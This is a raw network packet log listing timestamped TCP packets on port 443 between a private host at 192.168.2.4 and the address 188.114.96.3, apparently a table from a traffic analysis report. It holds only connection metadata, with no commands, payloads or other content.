Jan 9, 2025 08:31:29.649822950 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.301179886 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.303014994 CET	50312	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.303040981 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.452056885 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.452110052 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.452143908 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.452172995 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.452248096 CET	50312	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.452265978 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.455637932 CET	50312	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.457088947 CET	50312	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.457091093 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.457149982 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.459611893 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.463607073 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.463630915 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.923269987 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:30.925028086 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:30.925056934 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.072810888 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.072858095 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.072890043 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.072906971 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.072931051 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.072966099 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.072977066 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.072984934 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.073023081 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.073029041 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.073051929 CET	443	50313	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.073093891 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.074040890 CET	50313	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.075366974 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.075414896 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.075488091 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.075763941 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.075783968 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.533436060 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.535262108 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.535284042 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.672705889 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.672754049 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.672789097 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.672821045 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.672827005 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.672840118 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.672910929 CET	443	50314	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.672990084 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.672990084 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.673683882 CET	50314	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.674693108 CET	50315	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.674742937 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:31.674834967 CET	50315	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.675093889 CET	50315	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:31.675107002 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.149283886 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.153243065 CET	50315	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.153273106 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.287832975 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.287880898 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.287910938 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.287940025 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.287950039 CET	50315	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.287987947 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.288044930 CET	443	50315	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.295486927 CET	50315	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.296925068 CET	50315	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.296927929 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.296982050 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.299978971 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.303595066 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.303611994 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.802057981 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.805543900 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.805584908 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.944467068 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.944505930 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.944535017 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.944565058 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.944643974 CET	443	50316	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.944655895 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.944655895 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.948009968 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.949424982 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.949431896 CET	50316	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.949460983 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:32.952469110 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.952738047 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:32.952749014 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.415225029 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.417164087 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.417193890 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.530993938 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.531033039 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.531063080 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.531086922 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.531105042 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.531120062 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.531142950 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.531191111 CET	443	50317	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.531235933 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.531955004 CET	50317	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.532984018 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.533039093 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:33.533117056 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.533396006 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:33.533407927 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.018372059 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.027923107 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.027968884 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.147418976 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.147488117 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.147536039 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.147567987 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.147653103 CET	443	50318	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.147680044 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.147718906 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.147718906 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.149485111 CET	50318	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.149523020 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.149565935 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.153791904 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.153791904 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.153826952 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.636204958 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.639895916 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.639925003 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.786995888 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.787048101 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.787075996 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.787103891 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.787147045 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.787167072 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.787184954 CET	443	50319	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.787250042 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.787318945 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.789268017 CET	50320	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.789275885 CET	50319	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.789329052 CET	443	50320	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:34.789609909 CET	50320	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.789880991 CET	50320	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:34.789896011 CET	443	50320	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.005522013 CET	50320	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.009177923 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.009227037 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.009287119 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.010030031 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.010042906 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.047353029 CET	443	50320	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.254782915 CET	443	50320	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.254868031 CET	50320	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.516104937 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.516266108 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.518039942 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.518052101 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.518312931 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.519617081 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.567336082 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.646785975 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.646830082 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.646857977 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.646876097 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.646879911 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.646907091 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.646920919 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.646961927 CET	443	50321	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.647001982 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.648188114 CET	50321	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.649840117 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.649897099 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:35.649961948 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.650278091 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:35.650288105 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.105465889 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.108562946 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.108607054 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.237853050 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.237898111 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.237926006 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.237952948 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.238029003 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.238029003 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.238044977 CET	443	50322	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.238256931 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.238800049 CET	50322	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.239948988 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.239995003 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.240133047 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.240425110 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.240439892 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.721839905 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.770991087 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.775084972 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.775105953 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.880259991 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.880316973 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.880343914 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.880369902 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.880407095 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.880439043 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.880470037 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.880492926 CET	443	50323	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.881529093 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.889563084 CET	50323	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.889993906 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.890060902 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:36.890208006 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.893549919 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:36.893574953 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.347923040 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.349805117 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.349834919 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.461369991 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.461420059 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.461442947 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.461463928 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.461476088 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.461487055 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.461515903 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.461566925 CET	443	50324	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.461602926 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.462471962 CET	50324	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.463870049 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.463926077 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.463989973 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.464298010 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.464310884 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.929516077 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:37.931258917 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:37.931294918 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.053714037 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.053776026 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.053808928 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.053844929 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.053879023 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.053910017 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.053932905 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.053972960 CET	443	50325	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.054287910 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.054933071 CET	50325	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.056272030 CET	50326	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.056334972 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.057614088 CET	50326	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.057883024 CET	50326	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.057898998 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.513514042 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.516556025 CET	50326	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.516576052 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.648746967 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.648793936 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.648812056 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.648835897 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.648890972 CET	50326	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.648919106 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.648930073 CET	443	50326	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.649055004 CET	50326	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.649765968 CET	50326	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.651019096 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.651086092 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:38.651197910 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.651453018 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:38.651464939 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.106508017 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.113523960 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.113549948 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.248929024 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.248986959 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.249012947 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.249037981 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.249097109 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.249123096 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.249140024 CET	443	50327	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.249159098 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.249180079 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.299958944 CET	50327	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.313155890 CET	50328	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.313206911 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.313308001 CET	50328	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.321455956 CET	50328	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.321477890 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.801000118 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.803406954 CET	50328	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.803423882 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.967015982 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.967169046 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.967196941 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.967230082 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.967330933 CET	50328	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.967350006 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.967386007 CET	443	50328	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.967430115 CET	50328	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.968255043 CET	50328	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.969264984 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.969309092 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:39.969404936 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.969661951 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:39.969671965 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.422800064 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.424680948 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.424705982 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.550159931 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.550204992 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.550229073 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.550254107 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.550276041 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.550291061 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.550342083 CET	443	50329	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.550369024 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.551670074 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.553065062 CET	50329	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.553073883 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.553114891 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:40.557672024 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.560575962 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:40.560610056 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.040433884 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.042721987 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.042740107 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166085005 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166136980 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166174889 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.166193008 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166228056 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166254997 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166270971 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.166277885 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166309118 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.166321993 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166439056 CET	443	50330	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.166496038 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.167279959 CET	50330	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.168551922 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.168591022 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.168643951 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.168935061 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.168947935 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.651935101 CET	443	50331	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:41.654342890 CET	50331	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:41.654360056 CET	443	50331	188.114.96.3	192.168.2.4
